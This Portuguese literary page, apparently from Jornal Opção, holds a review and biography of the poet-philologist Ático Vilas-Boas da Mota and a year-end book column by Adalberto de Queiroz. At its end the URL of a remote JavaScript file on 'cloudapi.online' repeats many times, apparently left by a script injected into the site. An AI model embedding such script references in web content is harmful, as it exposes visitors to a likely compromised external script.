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Ilustrações, poesias e ancestralidade afro religiosa se encontram no mais novo trabalho da goiana Raquel Rocha.
Segundo livro escrito pela médica e poetisa carioca Thelma Miguel reúne coleção de poemas sobre a pluralidade da vida e empoderamento da mulher
“Luminosa redoma/ pétala a pétala/ cresceu a tua formosura/ escamas de cristal te acrescentaram/ e no segredo da terra escura/ se foi arredondando o teu ventre de orvalho”
Áurea Denise é performer conhecida dos saraus realizados em Goiânia nas décadas de 1980 e 1990, um tempo de grande efervescência cultural
Evento será realizado dia 16 de outubro e contará com a participação virtual de artistas dos 26 estados brasileiros e Distrito Federal, como Alice Spíndola, de Goiás
Eis o poeta das causas possíveis. Mostra que, independentemente da língua e da formação, o homem é sempre o mesmo em todos os quadrantes do planeta
João Carlos Taveira
Especial para o Jornal Opção
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Ático Vilas-Boas da Mota: professor, tradutor, filólogo, linguista, ensaísta, dicionarista, folclorista e poeta | Foto: Reprodução[/caption]
Em todas as artes podem ser encontradas com certa facilidade duas vertentes categóricas: a de jovens gênios que, numa idade mais avançada, se apagam completamente para a criação, e a de artistas maduros que ignoram o passar do tempo e continuam criando obras de grande vigor estético — talvez até mais transgressoras do que aquelas do tempo de juventude. Os exemplos são muitos. E em todos os segmentos. A título de ilustração, tome-se como exemplo apenas um nome da história da música: Giuseppe Verdi, o gênio da ópera italiana que viveu 88 anos e construiu uma das obras mais altas e coerentes de que se tem notícia, produzindo verdadeiras filigranas da música lírica até o fim de sua vida.
Essas abstrações me vêm à mente a propósito de um fato e de um nome singular no campo da literatura brasileira: Ático Vilas-Boas da Mota (1928-2016), professor, tradutor, filólogo, linguista, ensaísta, dicionarista, folclorista e poeta dos mais sérios, que tive a honra de conhecer em Brasília, na década de 1980, e o privilégio de poder privar de sua amizade fraterna em mais de trinta anos de convivência. Pois bem, esse homem culto e cordial, já na casa dos 80 anos, continuava escrevendo e publicando com o mesmo ímpeto dos primeiros tempos. Aliás, em alguns casos, até com mais ousadia e coragem.
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Ático Vilas-Boas da Mota: reconhecimento na Romênia | Foto: Reprodução[/caption]
Depois de suas passagens por universidades brasileiras (foi um dos fundadores da Universidade Federal de Goiás, em que desenvolveu praticamente todas as suas atividades literárias e científicas) e pela Universidade de Bucareste, na Romênia, tendo residido nas capitais de alguns dos principais Estados brasileiros, este baiano de Macaúbas resolveu voltar às origens e fixar-se de vez no oeste da Bahia, mais precisamente na Chapada Diamantina Meridional, na bacia do Rio São Francisco. E ali, no aconchego do solar da família, ao lado de dona Alzira, de parentes, de fiéis assistentes e de muitos amigos, Ático Vilas-Boas viveu entre livros, discos, fitas, quadros, objetos de arte, arquivos e documentos raros da cultura brasileira, dando vazão às inquietações pessoais na criação de obras cada vez mais sérias e indispensáveis à compreensão da nossa brasilidade. E ali viveu também seus últimos dias, pois sua trajetória luminosa teve fim em 26 de março de 2016, quando contava 87 anos de vida.
O professor Ático, como foi conhecido d’aquém e d’além mar, também dirigiu com mão firme a Fundação Cultural Professor Mota, criada há mais de 40 anos para resgatar e perpetuar as ideias e iniciativas de seu pai em Macaúbas, cidade que tem sido um baluarte da baianidade e centro de apoio para diversos pesquisadores nacionais e estrangeiros. A fundação abriga biblioteca, galeria de arte, salas de pesquisas, arquivos de referência e museu.
Em 2011, o governo da Romênia, em reconhecimento aos relevantes serviços prestados àquele país de língua latina pelo autor do livro “Brasil-Romênia — Pontes Culturais”, concedeu ao intelectual Ático Vilas-Boas uma alta condecoração: Ordem Nacional Romena “Serviço dedicado” em grau de comendador, que lhe foi entregue na Embaixada da Romênia em Brasília, em cerimônia presidida pelo embaixador Mihai Zamfir, com a presença do editor Victor Alegria, de quatro embaixadores, diversos representantes diplomáticos, jornalistas, professores universitários, escritores e artistas de várias outras áreas.
Pois bem. Hoje, o que motiva estas linhas acerca do autor de “Alpondras: Travessia de Bucareste” e “Ciganos” é outro livro de poesia: “Romênia, Poemário Telúrico”, edição bilíngue português/romeno, de 2010, na tradução primorosa de Micaela Ghitescu, talvez a maior especialista na língua e na cultura brasileiras e portuguesas, que assina também o prefácio “Pontes entre dois mundos”. Os poemas da coleção, todos de temática romena, descrevem lugares, paisagens e locais muito caros a Ático Vilas-Boas, que, além de ter sido “o mais romeno dos brasileiros”, conheceu bem não só a geografia do país amigo, como também os modos de ser, de ver e de sentir de sua gente. Foi um “expert” nas culturas que contribuíram para a formação daquele povo. E que, mesmo antes da chegada dos romanos, são tantas e das mais variadas etnias.
“Romênia, Poemário Telúrico” enfeixa criações as mais diversas dentro de um universo irrestrito: o olhar de sabedoria de um homem cuja espiritualidade transcendeu fronteiras físicas e culturais entre os povos. E esse olhar magnânimo percorre, no dizer de Antônio Olinto, ruas estreitas e largas avenidas com o mesmo desvelo e a mesma ternura com que vagueia pelas veredas da terra natal. É, em suma, um documento valiosíssimo de um livre-pensador que teve o coração tão grande quanto o gênio. Ático Vilas-Boas, neste livro precioso, mostra que é o poeta das causas possíveis. Mostra que, independentemente da língua, dos costumes e da formação social e política, o homem é sempre o mesmo em todos os quadrantes do planeta. A única diferença perceptível fica por conta do grau de evolução espiritual a que teve acesso e que varia de acordo com as possibilidades do meio em que está inserido. E esta lição de humanismo se circunscreve — “ad infinitum” — em cada poema do presente volume. Senão, vejamos na versão original:
Hospício
Visitando o Hospital n.º 9, de Bucareste Os sonhos dos loucos são pássaros assustados. Ninguém achará os seus rastros nem o bater de suas asas. Os sonhos dos loucos não são de ouro, nem sequer de prata: ferrugem que assusta, fuligem que sufoca e mata. Os sonhos dos loucos são a sombra da saliva e o cheiro dos remédios que não curam, mas insistem. Os sonhos dos loucos são os passos na calçada, cartas sem endereços, jornada sem retorno, gesto pela metade. Por isso mesmo, agora, no giz desta parede torta, todas as palavras foram ceifadas pela guilhotina da indiferença. Nos mostradores dos relógios dormem sorrisos postergados, visitas que nunca chegam, respostas de fantasmas. Sonho é sonho, neste delírio de navalhas. Os loucos moram neste mundo carregado de feridas abertas, em todos os lados, sem depois, sem amanhã, sem aviso prévio, sem recado, sem o anúncio da felicidade nem de sua chegada. Só o abraço de urtigas, pesadelo que nunca se desfaz…” Após a leitura desse poema, a vontade que se tem é de transcrever outros e mais outros. Mas a tentação é contida. Afinal, os espaços de publicação estão cada vez mais exíguos e não permitem veleidades nem excessos por parte de ninguém. Dito isso, voltemos ao livro e seu conteúdo concentrado. A presente edição de “Romênia: Poemário Telúrico” saiu em Bucareste, em 2010, pela Editura Fundatiei Culturale Memoria e traz na quarta-capa uma curiosidade: a Baía de Guanabara, sobreposta a um ramo amarelo em que um beija-flor passeia sua majestosa mestria de voo, é contemplada pelo olhar sempiterno do Cristo Redentor do alto do Corcovado. Mas por que o Cristo Redentor na capa de um livro traduzido para o romeno? É que a cabeça do Cristo foi esculpida por um romeno chamado Gheorghe Leonida (1892-1942), que trabalhou no atelier do escultor francês de origem polonesa Paul Landowski (1875-1961), responsável pela execução do trabalho que foi doado ao Brasil pelo governo da França. O monumento foi inaugurado em 12 de outubro de 1931, dia de Nossa Senhora Aparecida e fica no bairro de Santa Teresa. Essas informações preciosas de Ático Vilas-Boas encontram-se, entre outras, no já citado livro “Brasil-Romênia — Pontes Culturais”, publicado pela Thesaurus Editora também em 2010 e cuja segunda edição, revista e ampliada, continua na dependência da vontade de familiares e principalmente do editor.
Completam a bela edição ilustrada do livro “Romênia: Poemário Telúrico” um índice, notícias biobibliográficas do autor e da tradutora Micaela Ghitescu, e um elucidário, com informações precisas sobre certos nomes próprios, vocábulos e expressões romenos. Vale a pena conferir.
João Carlos Taveira é poeta e crítico literário, com doze livros publicados, entre os quais “Aceitação do Branco” (1991), “A Flauta em Construção” (1993), “Arquitetura do Homem” (2005), “A Arquitetura Verbal de Nilto Maciel” (2012) e “Sonetos de Bolso, Antologia Poética” (2013), em parceria com Jarbas Júnior, e “O Prisioneiro” (2014). É colaborador do Jornal Opção.
Pequena biografia de Ático Vilas-Boas da Mota
Ático Frota Vilas-Boas da Mota é o nome de batismo do escritor, folclorista, historiador, tradutor e professor universitário (aposentado em 20 de maio de 1991, por tempo de serviço), falecido em 26/03/2016 na cidade de Macaúbas. Nasceu em Livramento de Nossa Senhora (Bahia), em 11 de outubro de 1928, mas radicou-se muito cedo em Macaúbas (Bahia), terra hospitaleira que sempre considerou “o doce país da minha infância”, ou seja, o seu amor paralelo. Fez o curso primário no Grupo Escolar Cônego Firmino Soares e o curso secundário no Liceu Salesiano de Salvador, Estado da Bahia. Viveu muitos anos em Goiás, terra de seus antepassados maternos. Foi diplomado em letras neolatinas pela Universidade Federal do Rio de Janeiro (1957) e concluiu vários cursos de extensão e de especialização na Argentina e na Europa. Doutorou-se em Filologia Românica pela Universidade de São Paulo (1972) com a tese: “Formas de Tratamento em Português e Romeno”. Participou do corpo diplomático extraordinário, na qualidade de assessor cultural, quando do reatamento de nossas relações diplomáticas com o Leste Europeu (Missão João Dantas — 1961). Iniciou a sua carreira universitária como professor assistente de letras hispano-americana, a convite do titular o saudoso professor Mario Camarinha da Silva, da Universidade Católica de Petrópolis-RJ. Dirigiu o departamento de Educação e Cultura da Universidade Federal de Goiás quando realizou, entre várias promoções culturais, a Primeira Exposição Internacional do Livro em Goiás (1963/1964). Foi professor fundador e vice-diretor da então Faculdade de Filosofia da UFG, e criador e elaborador do primeiro Plano Estadual de Cultura de Goiás (1972 — Secretaria de Educação e Cultura de Goiás), que mereceu diversos elogios da Unesco (Paris). Pertenceu a várias instituições culturais e científicas do Exterior e foi membro do Instituto Histórico e Geográfico de Goiás, membro do Instituto Geográfico e Histórico da Bahia, sócio-correspondente do Instituto Histórico e Geográfico de Mato Grosso, do Instituto Histórico e Geográfico do Rio Grande do Norte e do Instituto Histórico e Geográfico Brasileiro (2005/RJ). Também foi Membro da Sociedade Brasileira de Geografia (1983/RJ), da Academia de Letras de Brasília (DF), e Membro Correspondente da Academia Cachoeirense de Letras (ES), da Academia Belavistense de Letras, Artes e Ciências (GO), entre outras. Recentemente foi eleito membro da Academia de Letras do Brasil (Brasília-DF), cadeira 10, patrono Manuel Bandeira, na qual não teve tempo de tomar posse. Ex-professor-Associado da Universidade de Bucareste (Romênia — 1999/2000) e ex-pró-reitor da Universidade Internacional de Bucareste (2000). Premiado no Concurso Nacional de Contos (Paraná), possui dezesseis livros publicados nas áreas do ensaio, do folclore, da tradução, da medicina popular em Goiás, do conto e da poesia. Alguns dos livros de Ático Vilas-Boas da Mota: “Brasil e Romênia: Pontes Culturais”, “Queimação de Judas”, “Ciganos: Antologia de Ensaios”, “Uma Noite Tempestuosa: Comédia em Dois Atos”, “Alpondras: Travessia de Bucareste”, “Romênia: Poemário Telúrico”, entre outros. (Fontes: Google e Antônio Miranda)
Escritos abordam temas como o próprio amor, o tempo, a família, a amizade, a religiosidade
Em viagem à América, especialmente à região da Nova Inglaterra e ao Québec, tracei um roteiro que inclui cinco ou seis casas-museus de importantes escritores norte-americanos
Nesta segunda crônica sobre W. B. Yeats, obedeço à conclamação que o poeta faz em "O balão da Mente": “Mãos, façam o que vos é pedido:/Tragam o balão da mente/Que intumesce e se arrasta ao vento/Para o seu estreito alpendre”
Consciente de que certas formas de ginástica e de exercícios passionais são restritos aos jovens, contento-me com este exercício semanal da crítica
Um poema de Alberto da Cunha Melo vem nos alertar. É preciso enxergar dentro da casa vazia, do deserto da alma
Poemas impressionantes de Anna Świrszczyńska (1909–1984), no livro “Eu Construía a Barricada”, falam da revolta contra o exército nazista alemão, no final da Segunda Guerra Mundial, que culminou na morte de 200 mil civis
Lançado em 2017, “Folhas Secas sob Meus Pés” fala da transformação da mulher da infância à velhice, exaltando a vivacidade do amadurecimento, em que, ao contrário das folhagens outonais, as seivas da vida não se secam
– O que dizer do poeta João (Fernandez) Filho e deste seu “Auto da romaria”? Bem, tenhamos como pressuposto: João Filho é poeta que deve marcar seu nome na história da poesia brasileira do século XXI. Seu lugar não está reservado apenas entre os poetas católicos, mas, com certeza entre os grandes da poesia de nossa época. E o que me leva a fazer tal aposta?
Vista em retrospectiva, por esta coluna passaram, em 2017, vários autores críticos, poetas, cronistas, filósofos e o maior teólogo do século XX (J. Ratzinger). Estes diálogos continuam semanais no ano que estamos começando, sempre em busca do "leitor que queima pestanas", reavivando a velha "crônica-de-rodapé", exemplar em Franklin de Oliveira, Augusto Meyer e Temístocles Linhares.
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Os poemas místicos publicados por Ângelus Silesius, no Século XVII, permanecem atuais até hoje[/caption]
Vários livros sobre a mesa me fazem lembrar Temístocles Linhares, quando diante de um dever de ofício contemplava-os com amor, antes de enfrentá-los, pois, afinal, todo livro tem sua história e já o sabemos um homem não entra e sai de um bom livro sendo o mesmo:
– “Como previa – dizia eu a meu companheiro –, os livros de e sobre poesia continuam a acumular-se sobre a mesa e nós ainda temos muito que conversar a respeito.[i]”
Também este velho jornalista, dublê de comerciante e poeta hoje, depois de quarenta anos passados desde a publicação desses “Diálogos...” (de Linhares), sente-se no dever de continuar escrevendo pois crê ter muito a conversar a respeito da Poesia, da crítica (da crítica), da ficção, da teologia e outros tópicos nem tão frequentes na rotina cansada de nossos jornais cada vez menos literários...
Afinal, como diz o professor, crítico e poeta Heleno Godoy:
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O poeta e professor Heleno Godoy que teve sua poesia completa reunida pela martelo Casa Editorial no livro "Inventário"[/caption]
“Um livro responde às assinaturas
subscritas, incorpora tempestades,
incendeia oceanos poderosos,
ervas frágeis, manhãs que des-
pertam quando a lua ainda
não se foi. Um livro abrange
um delírio, homens livres
e fugitivos. Um livro estreita
relações, anula diferenças
ou estabelece seus contrários,
como a aranha surpreende
sua presa, enredando-lhe
os contornos, sintética, fria,
anagramática. Um livro
é mortal como esmeralda
falha e falsa, reconciliação
de cômodos intervalos.
Mas pode ser violento como
um tribunal ou uma missa
rezada em silêncio, um vinho
bebido em jejum, pão comido
lenta e parcimoniosamente.
[...][ii]”
Acertada visão essa do poeta goiano Heleno Godoy, felicíssima ao transpor ao verbo sua compreensão do objeto livro, nesse trecho do poema homônimo, ao qual volto mais tarde...
O fato é que após quase cinco meses, redigindo esta coluna semanal, dedicada inteiramente à literatura, dessas crônicas que se deixam permear pela crítica ensaística, o fato, dizia: é que os livros são um desafio constante para o que escrutina em busca de conexões para o leitor ansioso por aprofundar leituras – aquele Leitor (sim, com L maiúsculo, porque maior é seu valor!) que se torna a um só tempo aquele que “queima pestanas; é um leitor petulante”.
Bem, precisamos ir à origem das palavras para delas melhor extrair prazer e conselho; e petulante é dessas palavras que nasceram negativas, mas depois foi se adoçando pelo falar (e escrever) do brasileiro e denota aquele que tem ímpeto, o que tem vivacidade, este leitor, você que veio até aqui, passando pela colina acima anteposta sob a forma do que os leitores de 140 caracteres mais detestam: o texto poético, exposto em estanças, como deve ser e o foi na concepção original do poeta. Pois bem, eis-nos diante dos livros esses paquidermes insolentes que nos atiram à gruta ou ao voo livre em plena estação da chuva. E se deixo a metáfora em itálico, deve-se ao fato de que não desejo ser traído pela memória de minhas leituras de Jorge Luis Borges.
De “petulante” (do lat. “petulans” - raiz petere) saco apenas o sentido não agressivo, só aquele senso positivo que creio estava na origem do termo usado pelo crítico gaúcho Augusto Meyer ao dizer-se ansioso por ser lido justamente por este tipo de leitor, o que segue (ou busca) um caminho com a persistência que se exige para se atingir um alvo.
Eis-nos às portas do final da segunda década deste século mau. Exige-se um balanço e um planejamento para que o cronista também seja digno de nomear-se “petulans”, sem agressividade. Os livros que foram analisados nessa coluna o foram sempre que possível nomeados ao final, com notas de fim dos artigos, com o fito de animar o leitor a aprofundar-se no que aqui só esboçamos para o deleite de autor e leitores.
Vista em retrospectiva, nesta coluna passaram vários autores críticos, poetas, cronistas, filósofos e um teólogo (Ratzinger): Ivan Junqueira, T.S. Eliot, Tasso da Silveira, Vinicius de Moraes, Jorge de Lima, Augusto Frederico Schmidt, Tasso da Silveira, Wladimir Saldanha, Vicente Ferreira da Silva, Lúcio Cardoso, John Macy, J. G. Merquior, Giacomo Leopardi, Otto Maria Carpeaux, Kazuo Ishiguro, Jorge Luis Borges, Mircea Eliade, Carlos Nejar, João Alexandre Barbosa, Manoel Bandeira, Érico Nogueira, a Bíblia Sagrada, Virgílio, Franklin de Oliveira, Temístocles Linhares, Hermann Broch, Henriqueta Lisboa, James Wood e Joseph Ratzinger.
Os próximos alvos de nossos comentários serão estes dois livros que reputo como o grande trunfo da incipiente mas laboriosa indústria editorial goiana. Dois lançamentos nacionais de peso e de autores muito respeitados em todo o mundo. Falo de “Nas sombras do amanhã” (de Johan Huizinga, tradução de Sérgio Marinho), da editora Caminhos; e “Moradas”, de Angelus Silesius (tradução de Marco Lucchesi).
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Dois livros de autores canônicos tiveram lançamento nacional em Goiânia[/caption]
Deseja o cronista fazer-se acompanhar desses dois livros a uma estação de veraneio, onde espera o afeto dos amados, sobretudo dos netos! e ler – pois ler, digo logo ao interlocutor invisível desta crônica, não é de todo uma atividade que o faça por obrigação. Ou seja: o cronista estará de férias, mas esta coluna não.
Huizinga já é velho conhecido meu – desde a leitura crítica, quase estudo, que fiz “O outono da idade média” e Angelus Silesius, o convertido ao Catolicismo que se fez poeta de elevada estirpe, já me seduzia com sua poesia mística há muito tempo.
Quis o destino que o tradutor brasileiro fizesse, antes de assumir a presidência da Academia Brasileira de Letras, o lançamento nacional deste belo livro em Goiânia. Eu tive a chance de conviver algumas horas com Marco Lucchesi, um homem de grande sabedoria, um poeta e tradutor de comprovado domínio do verbo; um tradutor de inúmeros idiomas. Passou o sr. Lucchesi por Goiânia como um anjo passa: deixou a mensagem divina impregnada à sua humildade, que ao contrário de muitos intelectuais da província, ele um poeta cosmopolita a tem e a esbanja – se é que humildade se esbanje, pois de todas as virtudes esta é a que mais se dá a conhecer quanto menos se explicita. É-se humilde, sendo silencioso e acolhedor. É pelos humildes, ensina-nos o Eclesiastes, que Deus é (verdadeiramente) honrado!
Marco Lucchesi é um homem que se porta como um sábio. É um que segue o conselho dos versos pedagógicos do Cap. 3 do Sirácida: “19 Filho, realiza teus trabalhos com mansidão e serás amado mais do que alguém que dá presentes. /20 Na medida em que fores grande, humilha-te em tudo e assim encontrarás graça diante de Deus. Muitos são altaneiros e ilustres, mas é aos humildes que ele revela seus mistérios. /21 Pois grande é o poder só de Deus, e pelos humildes ele é honrado. /22 Não procures o que é mais alto do que tu nem investigues o que é mais forte; pensa sempre no que Deus te ordenou e não sejas curioso acerca de suas muitas obras, /23 pois não precisas ver com teus olhos o que está escondido.”
Voltarei a esses temas, dileto Leitor, mas por ora me ocupo, sumariamente, desses dois lançamentos das editoras martelo e da Caminhos, ambas casas editoriais goianas.
Como “Moradas[iii]” já foi livro resenhado aqui no Opção Cultural pelo sr. Gilberto G. Pereira; restrinjo minhas considerações para os aspectos místicos e a catolicidade do autor – o que prometo realizar ao longo de 2018.
Por ora, só observação relevante, pois, desde logo, é preciso que se esclareça, embora implícito na erudita introdução do Sr. Faustino Teixeira: o poeta-polemista Johannes Scheffer, filho de um nobre polonês luterano (nasceu em Breslávia em 1624; morto aos 9 de julho de 1677). Obteve o diploma de Doutor em Filosofia e Medicina, na Universidade de Pádua, em 1648, tornando-se médico da corte do príncipe de Oels, na Silésia; foi recebido na Igreja Católica em 1653, levando a confirmação (Crisma) o nome de Angelus, ao qual ele adicionou o sobrenome Silesius (Silésia), pelo qual ele é conhecido na história da literatura. Em 1661, ele foi ordenado sacerdote e se retirou para o mosteiro dos Cavaleiros da Cruz em Breslávia, onde morreu.
Sua fortuna foi doada às instituições piedosas e caritativas. Ao lado dos jesuítas Spee e Balde, ele foi um dos poucos poetas distinguidos que a Alemanha produziu em uma era de esterilidade poética e gosto degradado. Silesius publicou, em 1657, as duas obras poéticas em que se destaca a fama: "O prazer espiritual da alma" (“Heilige Seelenlust”) é uma coleção de mais de duzentas canções religiosas, muitas delas de grande beleza, que encontraram seu caminho não só para o católico, mas até para o hinário protestante. O Peregrino Querubínico (Der Cherubinische Wandersmann) é uma coleção de mais de 1600 dísticos rimados, repletos de profundos pensamentos religiosos expressos em forma epigramática. Um pequeno número desses pares parece saborear o quietismo ou o panteísmo.
A enciclopédia Católica (“New Advent.org”) recomenda que estes deveriam ser interpretados em um sentido ortodoxo, pois Angelus Silesius não era um panteísta.
Suas escritas em prosa são ortodoxas; " O Peregrino Querubínico" foi publicado com o Imprimatur eclesiástico e, em seu prefácio, o próprio autor explica seus "paradoxos" em um sentido ortodoxo e repudia qualquer futuro panteísta de interpretação. Em 1663, ele começou a publicação de seus cinquenta e cinco panfletos polêmicos contra as várias seitas protestantes, sendo que destes, 39 ganharam forma de livro sob o título de “Eccleciologia” (Eclesiologia).
Já sobre o Huizinga de “Nas sombras do amanhã”, o leitor encontrará no Estado de S. Paulo a melhor análise já feita, de autoria do professor e crítico Fabrício Tavares de Moraes, em duas belas partes, publicadas nos dias 15 e 29 de outubro do ano passado. Destacar trechos da erudita análise do prof. Fabrício daria ao leitor uma janela bem estreita do vasto panorama que o crítico nos traça. Recomendo, pois, e com entusiasmo a leitura dos artigos doutorais citados no rodapé desta crônica[iv].
E assim como ano se foi, como a vida flui, esta crônica se findando. E não poderia finalizar senão com o poema que começamos. Saudemos o ano 2018 pois:
“Um livro é um sacramento.
É uma sagrada eleição
de eternidade, uma desolação
dirigida, rumor de elementos
em voo para a especulação
de circunstâncias, um quarto
empoeirado, um astronauta
com o corpo em chamas, re-
entrando o espaço finito.
Um livro inventa e cega.
A abelha jovem, o livro se
constrói como um aparelho
funciona, impenetrável em sua
aparente simplicidade externa,
adormecido e intrincado em seu
interior preciso e visitado.
Um livro constrói uma direção,
ilude um homem, industria outro.
Todo livro subsidia a luz e a
escuridão. Um livro contra
diz.
(Heleno Godoy[v]).
Adalberto de Queiroz é jornalista e poeta. Autor de “Frágil armação”, 2a. ed., Goiânia: Editora Caminhos, 2017. Email para: [email protected]
[i] LINHARES, Temístocles. “Diálogos sobre a poesia Brasileira”. S. Paulo: Melhoramentos, 1976; pág. 252. [ii] GODOY, Heleno. “Inventário: poesia reunida, inéditos e dispersos (1963-2015)”. Goiânia: martelo, 2015. Org. Solange Fiuza Cardoso Yokozawa, p.318. [iii] SILESIUS, Angelus (1624-1677). “Moradas” [36 poemas]. Goiânia: martelo, 2017. Trad. Marco Lucchesi, intr. Faustino Teixeira, ilustr. e dir. arte: Lucas Mariano. [iv] Artigos do prof. Fabrício Moraes em O Estado de S. Paulo: http://cultura.estadao.com.br/blogs/estado-da-arte/johan-huizinga-e-a-consciencia-da-historia/ e http://cultura.estadao.com.br/blogs/estado-da-arte/johan-huizinga-e-a-consciencia-da-historia-2/ , respectivamente, consultadas em 26/12/17, 14h56. [v] "Inventário" – pág. 318 fini e p.319. https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js
